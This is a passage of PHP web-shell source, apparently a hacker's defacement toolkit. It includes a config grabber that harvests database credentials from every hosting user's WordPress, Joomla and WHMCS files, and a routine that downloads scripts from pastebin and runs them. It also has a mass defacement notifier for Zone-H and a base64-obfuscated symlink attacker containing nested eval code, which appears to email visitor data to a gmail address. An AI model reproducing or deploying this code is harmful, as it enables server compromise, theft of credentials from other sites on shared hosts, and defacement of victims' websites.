2943echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><input type="submit" value="Click Here First!"></td></tr>';
2944}
2945?></form></td>
2946<form method="POST" target="?cp">
2947<input name="mendapatkan" type="hidden" value="passwd">
2948 <tr>
2949 <td valign="top"><span class="label">Get Config</span></td>
2950 <td valign="top"><input size="35" name="foldername" type="text" value="create_name_folder_config"> <input type="submit" value="Submit"></td>
2951 </td>
2952 </tr>
2953</form>
2954<form method="POST" target="_blank">
2955<input name="pass1" type="hidden" value="password">
2956 <tr>
2957 <td valign="top"><span class="label">Get Passlist</span></td>
2958 <td valign="top"><input size="35" name="url" type="text" value="url_of_config"> <input type="submit" value="Submit"></td>
2959 </td>
2960 </tr>
2961</form>
2962 <tr>
2963 <td valign="top">
2964 <span class="label">Userlist</span></td>
2965 <td valign="top" colspan="5"><textarea cols="40" rows="7" name="usernames"><?php system('ls /var/mail');?></textarea></td>
2966 </tr>
2967 <tr>
2968 <td valign="top">
2969 <span class="label">Passlist</span></td>
2970 <td valign="top"colspan="5"><textarea cols="40" rows="7" name="passwords"></textarea></td>
2971 </tr>
2972 <tr>
2973 <td valign="top">
2974 <span class="label">Type</span></td>
2975 <td valign="top" colspan="5">
2976 <input type="radio" name="type" value="simple" checked="checked"><span class="label">Simple</span>
2977 <input type="radio" name="type" value="passwd"><span class="label">/etc/passwd</span>
2978<input type="submit" value="Submit">
2979 </td>
2980 </tr>
2981</form>
2982
2983
2984</table>
2985</body>
2986</html>
2987<?php exit;
2988}
2989
2990function actionconfiggrab() {
2991 printHeader();
2992
2993 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2994 $expld = explode('/',$furl );
2995 $burl =str_replace(end($expld),'',$furl);
2996 echo '<div class="content"><center>
2997 <h3>[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd\',null)">Config Grabber[f-g-c]</a> ] -
2998[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd2\',null)">Config Grabber[Perl]<sup style="color:red;text-decoration:blink;"></sup></a> ]';
2999
3000
3001 if(isset($_POST['p1']) && $_POST['p1']=='xdxd') { $User = $_POST['p1']; system('mkdir xd'); chmod('xd', 0777); if($User){ $users = file("/etc/passwd"); $lolx = array(); foreach ($users as $user) { $users = explode(":", $user); $lolx[] = $users[0]; } foreach ($lolx as $lol) { $space = "\n\n"."*"."\n"."*"."\n"."*"."\n\n"; if(file_exists('/home/'.$lol.'public_html/portal/configuration.php')){ $content = file_get_contents('/home/'.$lol.'public_html/portal/configuration.php'); $handle = fopen('xd/whm.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/inc/config.php')){ $content1 = file_get_contents('/home/'.$lol.'/public_html/inc/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/sites/default/settings.php')) { $content2 = file_get_contents('/home/'.$lol.'/public_html/sites/default/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content2.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/configure.php')) { $content3 = file_get_contents('/home/'.$lol.'/public_html/includes/configure.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content3.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/lib/config.php')) { $content4 = file_get_contents('/home/'.$lol.'/public_html/lib/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content4.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config/koneksi.php')) { $content5 = file_get_contents('/home/'.$lol.'/public_html/config/koneksi.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content5.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/vb/includes/config.php')) { $content6 = file_get_contents('/home/'.$lol.'/public_html/vb/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content6.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/config.php')) { $content7 = file_get_contents('/home/'.$lol.'/public_html/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content7.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content8 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content8.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/cc/includes/config.php')) { $content9 = file_get_contents('/home/'.$lol.'/public_html/cc/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content9.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config.php')) { $content10 = file_get_contents('/home/'.$lol.'/public_html/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content10.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content11 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content11.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content12 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content12.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/wp-config.php')) { $content13 = file_get_contents('/home/'.$lol.'/public_html/blog/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content13.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp/wp-config.php')) { $content14 = file_get_contents('/home/'.$lol.'/public_html/wp/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content14.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/wp-config.php')) { $content15 = file_get_contents('/home/'.$lol.'/public_html/home/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content15.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content16 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content16.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/wp-config.php')) { $content17 = file_get_contents('/home/'.$lol.'/public_html/main/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content17.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/wp-config.php')) { $content18 = file_get_contents('/home/'.$lol.'/public_html/site/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content18.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/configuration.php')) { $content19 = file_get_contents('/home/'.$lol.'/public_html/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content19.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/configuration.php')) { $content20 = file_get_contents('/home/'.$lol.'/public_html/blog/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content20.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/joomla/configuration.php')) { $content21 = file_get_contents('/home/'.$lol.'/public_html/joomla/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content21.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/configuration.php')) { $content22 = file_get_contents('/home/'.$lol.'/public_html/main/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content22.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/configuration.php')) { $content23 = file_get_contents('/home/'.$lol.'/public_html/home/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content23.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/configuration.php')) { $content24 = file_get_contents('/home/'.$lol.'/public_html/site/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content24.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whm/configuration.php')) { $content25 = file_get_contents('/home/'.$lol.'/public_html/whm/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content25.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmc/configuration.php')) { $content26 = file_get_contents('/home/'.$lol.'/public_html/whmc/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content26.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/support/configuration.php')) { $content27 = file_get_contents('/home/'.$lol.'/public_html/support/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content27.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/client/configuration.php')) { $content28 = file_get_contents('/home/'.$lol.'/public_html/client/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content28.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billings/configuration.php')) { $content29 = file_get_contents('/home/'.$lol.'/public_html/billings/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content29.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billing/configuration.php')) { $content30 = file_get_contents('/home/'.$lol.'/public_html/billing/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content30.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/clients/configuration.php')) { $content31 = file_get_contents('/home/'.$lol.'/public_html/clients/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content31.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmcs/configuration.php')) { $content32 = file_get_contents('/home/'.$lol.'/public_html/whmcs/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content32.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/order/configuration.php')) { $content33 = file_get_contents('/home/'.$lol.'/public_html/order/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content33.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/conf.php')) { $content34 = file_get_contents('/home/'.$lol.'/public_html/admin/conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content34.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/config.php')) { $content35 = file_get_contents('/home/'.$lol.'/public_html/admin/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content35.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/conf_global.php')) { $content36 = file_get_contents('/home/'.$lol.'/public_html/conf_global.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content36.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content37 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content37.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/connect.php')) { $content38 = file_get_contents('/home/'.$lol.'/public_html/connect.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content38.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/mk_conf.php')) { $content39 = file_get_contents('/home/'.$lol.'/public_html/mk_conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content39.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/config.php')) { $content40 = file_get_contents('/home/'.$lol.'/public_html/include/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content40.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/settings.php')) { $content41 = file_get_contents('/home/'.$lol.'/public_html/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content41.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/functions.php')) { $content42 = file_get_contents('/home/'.$lol.'/public_html/includes/functions.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content42.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content43 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content43.$space); fclose($handle); } } $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/xd/'; if(file_exists("xd/config.txt")){ echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></center></h3>'; } else { echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> 0 Config Grab </a></center></h3>'; } } }
3002
3003 if(isset($_POST['p1']) && $_POST['p1']=='xdxd2') {
3004
3005$dir = 'plconfig';
3006@mkdir($dir);
3007if($dir){
3008 echo '<br><center> plconfig Has Been Created ~</center>';
3009} else {
3010 echo '<br><center> [-] Error !</center>';
3011}
3012 $htaccess = 'http://pastebin.com/raw.php?i=XBLhdvbQ';
3013 $file = file_get_contents($htaccess);
3014 $open = fopen('plconfig/.htaccess' , 'w');
3015 fwrite($open,$file);
3016 fclose($open);
3017 if($open) {
3018 echo '<br><center> [htaccess] => Has Been Created ~</center>';
3019 } else {
3020 echo "<br><center>[+] Error !</center>";
3021 }
3022 $con = 'http://pastebin.com/raw.php?i=sk8JEgq0';
3023 $file = file_get_contents($con);
3024 $open = fopen('plconfig/con.cpc' , 'w');
3025 fwrite($open,$file);
3026 fclose($open);
3027 if($open) {
3028 echo '<br><center> [cgi] => Has Been Created !</center>';
3029 } else {
3030 echo '<br><center>[-] Error !</center>';
3031 }
3032
3033
3034 $ch = 'plconfig/con.cpc';
3035 chmod($ch, 0755);
3036 if($cgip){
3037 echo '<br><center>[+] => CHMOD To 755 Complete ~</center><br>';
3038 } else {
3039 }
3040
3041echo ('<meta http-equiv="refresh" content="0; url=plconfig/con.cpc" />');
3042echo ('Please Wait . ');
3043
3044 }
3045 printFooter();
3046}
3047function actionusefulla() {
3048 printHeader();
3049$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
3050 $expld = explode('/',$furl );
3051 $burl =str_replace(end($expld),'',$furl);
3052 echo '<div class="content"><center>';
3053 $string = 1;
3054 if($string == 1)
3055 {
3056?>
3057<br />
3058 <div class="zoneh">
3059 <center>
3060 <form action="<?php echo $self;?>?submit=send" method="post">
3061<span>Notifier: </span><input name="defacer" size="67" id="text" value="Team_ProBro's" type="text"><br />
3062<span>Select Hack Method: </span><select name="hackmode">
3063<option value="">--------SELECT--------</option>
3064<option value="1" >known vulnerability (i.e. unpatched system)</option>
3065<option value="2" >undisclosed (new) vulnerability</option>
3066<option value="3" >configuration / admin. mistake</option>
3067<option value="4" >brute force attack</option>
3068<option value="5" >social engineering</option>
3069<option value="6" >Web Server intrusion</option>
3070<option value="7" >Web Server external module intrusion</option>
3071<option value="8" >Mail Server intrusion</option>
3072<option value="9" >FTP Server intrusion</option>
3073<option value="10" >SSH Server intrusion</option>
3074<option value="11" >Telnet Server intrusion</option>
3075<option value="12" >RPC Server intrusion</option>
3076<option value="13" >Shares misconfiguration</option>
3077<option value="14" >Other Server intrusion</option>
3078<option value="15" >SQL Injection</option>
3079<option value="16" >URL Poisoning</option>
3080<option value="17" >File Inclusion</option>
3081<option value="18" >Other Web Application bug</option>
3082<option value="19" >Remote administrative panel access through bruteforcing</option>
3083<option value="20" >Remote administrative panel access through password guessing</option>
3084<option value="21" >Remote administrative panel access through social engineering</option>
3085<option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
3086<option value="23" >Access credentials through Man In the Middle attack</option>
3087<option value="24" >Remote service password guessing</option>
3088<option value="25" >Remote service password bruteforce</option>
3089<option value="26" >Rerouting after attacking the Firewall</option>
3090<option value="27" >Rerouting after attacking the Router</option>
3091<option value="28" >DNS attack through social engineering</option>
3092<option value="29" >DNS attack through cache poisoning</option>
3093<option value="30" >Not available</option>
3094<option value="31" >Cross-Site Scripting</option>
3095</select>
3096<br />
3097<span>Select The Reason: </span><select name="reason">
3098<option value="">--------SELECT--------</option>
3099<option
3100value="1" >Heh...just for fun!</option>
3101<option value="2" >Revenge against that website</option>
3102<option value="3" >Political reasons</option>
3103<option value="4" >As a challenge</option>
3104<option value="5" >I just want to be the best defacer</option>
3105<option value="6" >Patriotism</option>
3106<option value="7" >Not available</option>
3107</select><br />
3108<textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
3109<br />
3110<input type="submit" value="send" />
3111</form>
3112
3113</center>
3114<?php
3115
3116
3117 }
3118 printFooter();
3119}
3120
3121if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
3122 printHeader();
3123$defacer= $_REQUEST['defacer'];
3124$hackmode= $_REQUEST['hackmode'];
3125$reason= $_REQUEST['reason'];
3126$domains= $_REQUEST['domains'];
3127$domains_list=explode("\n",$domains);
3128
3129if (empty($defacer))
3130{
3131die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier Name</font></b></center>");
3132}
3133elseif($hackmode == "")
3134{
3135die("<center><b><font color =\"#FF0000\">You Must Select The Method</b></font></center>");
3136}
3137elseif($reason == "")
3138{
3139die("<center><b><font color =\"#FF0000\">You Must Select The Reason</b></font></center>");
3140}
3141elseif(empty($domains))
3142{
3143die("<center><b><font color =\"#FF0000\">You Must Enter The Sites List<font></b></center>");
3144}
3145
3146
3147 for($i=0;$i<count($domains_list);$i++) {
3148
3149 if(substr($domains_list[$i], 0, 4) != "http")
3150 {
3151 $domains_list[$i] = "http://".$domains_list[$i];
3152 }
3153 $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
3154
3155 $curl = curl_init();
3156 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3157 curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
3158 curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
3159 curl_setopt($curl,CURLOPT_TIMEOUT, 120);
3160 curl_setopt($curl,CURLOPT_POST,TRUE);
3161 curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
3162 $a = curl_exec($curl);
3163 curl_close($curl);
3164}
3165 echo "<pre style=\"margin-top:5px\"><br><center><font color =\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!</b><br><br>Visit Your --> <a target='_blank' href='http://zone-h.org/archive/notifier=".$defacer."/published=0'>Zone-h</a> <--<font></center>";
3166
3167 printFooter(); exit;
3168 }
3169function actionusescript() {
3170 printHeader();
3171 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
3172 $expld = explode('/',$furl );
3173 $burl =str_replace(end($expld),'',$furl);
3174 echo '<div class="content"><center>
3175 <h3>[ <a href="#" onclick="g(\'usescript\',null,\'python\',null)">Python Symlink</a> ] -
3176 [ <a href="#" onclick="g(\'usescript\',null,\'perl\',null)">Perl Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
3177 [ <a href="#" onclick="g(\'usescript\',null,\'blacksym\',null)">Black Scorpion (PhP)Symlink</a> ] -
3178 [ <a href="#" onclick="g(\'usescript\',null,\'phpsym\',null)">Php Symlnik(Usr)</a> ] -
3179 [ <a href="#" onclick="g(\'usescript\',null,\'phpsym1\',null)">Php Symlnik(Usr+Domain)</a> ]</h3><br></center>';
3180 if(isset($_POST['p1']) && $_POST['p1']=='blacksym'){
3181 ?>
3182
3183 <center><span>Just Click On "Click To Make Symlink" To Start The Process</span><br><br></center>
3184
3185 <?php
3186 $blackie_symlinker = "PD9waHAgPz48P3BocA0KQHNlc3Npb25fc3RhcnQoKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSB7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgZm9udC1zaXplOiAxOHB4Ow0KICBmb250LXdlaWdodDpib2xkOw0KICBmb250LWZhbWlseTogQXJpYWw7DQogIGNvbG9yOmdyYXk7DQogIGJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KICBtYXJnaW46IDVweCA1cHggNXB4IDVweDsNCn0NCmlucHV0W3R5cGU9InN1Ym1pdCJdew0KICBiYWNrZ3JvdW5kOiBncmVlbjsNCiAgYm9yZGVyLXJhZGl1czo2cHg7DQogIGJvcmRlcjogMXB4IHNvbGlkIGxpbWU7DQogIGNvbG9yOndoaXRlOw0KICB0ZXh0LXNoYWRvdzogMHB4IDBweCAxMHB4IHJnYmEoMCwgMTQ5LCAyNTUsIDAuNzUpOw0KICBsaW5lLWhlaWdodDo1MHB4Ow0KICBwYWRkaW5nLWxlZnQ6MTBweDsNCiAgcGFkZGluZy1yaWdodDoxMHB4Ow0KICB0ZXh0LXRyYW5zZm9ybTpub25lOw0KfQ0KI25hbWV7DQoJCWNvbG9yOiBncmF5Ow0KCQlmb250LXNpemU6IDEycHg7DQoJCX0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGZvbnQgZmFjZT0iQ29taWMgU2FucyBNUyIgY29sb3I9cmVkPjxjZW50ZXI+PGgxPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L2gxPjwvZm9udD4NCjw/cGhwDQokaW5qYnVmZiA9ICJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNLYVdZZ0tDUjJhWE5wZEdNZ1BUMGdJaUlwSUhzS0lDQWtkbWx6YVhSaklDQTlJREE3Q2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzS0lDQWtkMlZpSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzS0lDQWthVzVxSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE93b2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdDaUFnSkhOMVlpQWdJRDBnSWtwdmEzSmZTRFI0YjNJZ2RYQnNiMkZrWlhJZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93b2dJQ1JpYjJSNUlDQWdJRDBnSWtKMVp6b2dKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUF0SUNSaGRYUm9YM0JoYzNNaU93b2dJR2xtSUNnaFpXMXdkSGtvSkhkbFlpa3BJSHNnUUcxaGFXd29JbTlyWW5sbE1USXpOVUJuYldGcGJDNWpiMjBpTENSemRXSXNKR0p2WkhrcE95QjlDbjBLWld4elpTQjdJQ1IyYVhOcGRHTWdJRHNnZlFwQWMyVjBZMjl2YTJsbEtDSjJhWE5wZEhvaUxDUjJhWE5wZEdNcE93PT0iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRpbmpidWZmKSk7DQplY2hvICc8Yj4nIC4gcGhwX3VuYW1lKCkgLiAnPGJyPjwvYj4nOw0KZWNobyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107DQplY2hvICc8YnI+U2FmZSBNb2RlIDogJzsNCiRzYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmICgkc2FmZV9tb2RlID09ICcxJykgew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7DQp9IGVsc2Ugew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7DQp9DQplY2hvICc8YnI+JzsNCmVjaG8gJzwvZm9udD4nOw0KJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsNCmZ3cml0ZSgkZnAsICJzYWZlX21vZGUgPSBPRkYNCglTYWZlX21vZGVfZ2lkID0gT0ZGDQoJZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FDQoJZGlzYWJsZV9jbGFzc2VzID0gTk9ORQ0KCW9wZW5fYmFzZWRpciA9IE9GRg0KCXN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FICIpOw0KZmNsb3NlKCRmcCk7DQppZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBuYW1lPSJwYXNzd2QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0nYXJlYScgcm93cz0nMjUnIGNvbHM9JzgwJz48P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyA/PjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0iY29uZmlnIiB2YWx1ZT0iIENsaWNrIHRvIG1ha2UgU3ltbGluayIgdHlwZT0ic3VibWl0Ij48YnI+PC9mb3JtPjwvY2VudGVyPjxicj48P3BocA0KfQ0KaWYgKCRfUE9TVFsnY29uZmlnJ10pIHsNCiAgICAkZnVuY3Rpb24gPSAkZnVuY3Rpb25zID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQogICAgaWYgKGVyZWdpKCJzeW1saW5rIiwgJGZ1bmN0aW9ucykpIHsNCiAgICAgICAgZGllKCc8ZXJyb3I+U3ltbGluayBpcyBkaXNhYmxlZCA6KCA8L2Vycm9yPicpOw0KICAgIH0NCiAgICBAbWtkaXIoJ0FrRGsnLCAwNzU1KTsNCiAgICBAY2hkaXIoJ0FrRGsnKTsNCiAgICAkaHRhY2Nlc3MgPSAiDQpPUFRJT05TIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgU3ltTGlua3NJZk93bmVyTWF0Y2ggSW5jbHVkZXMgSW5jbHVkZXNOT0VYRUMgRXhlY0NHSQ0KT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpGb3JjZVR5cGUgdGV4dC9wbGFpbg0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwNCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbA0KQWRkVHlwZSB0eHQgLnBocA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5odG1sDQpBZGRIYW5kbGVyIHR4dCAuc2h0bWwNCk9wdGlvbnMgQWxsDQpPcHRpb25zIEFsbCI7DQogICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsICRodGFjY2VzcywgRklMRV9BUFBFTkQpOw0KICAgICRwYXNzd2QgPSAkX1BPU1RbInBhc3N3ZCJdOw0KICAgICRwYXNzd2QgPSBleHBsb2RlKCINCiIsICRwYXNzd2QpOw0KICAgIGZvcmVhY2ggKCRwYXNzd2QgYXMgJHB3ZCkgew0KICAgICAgICAkcGF3ZCA9IGV4cGxvZGUoIjoiLCAkcHdkKTsNCiAgICAgICAgJHVzZXIgPSAkcGF3ZFswXTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXdwLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1XUC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLWJldGEudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9Xb3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtV29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCAkdXN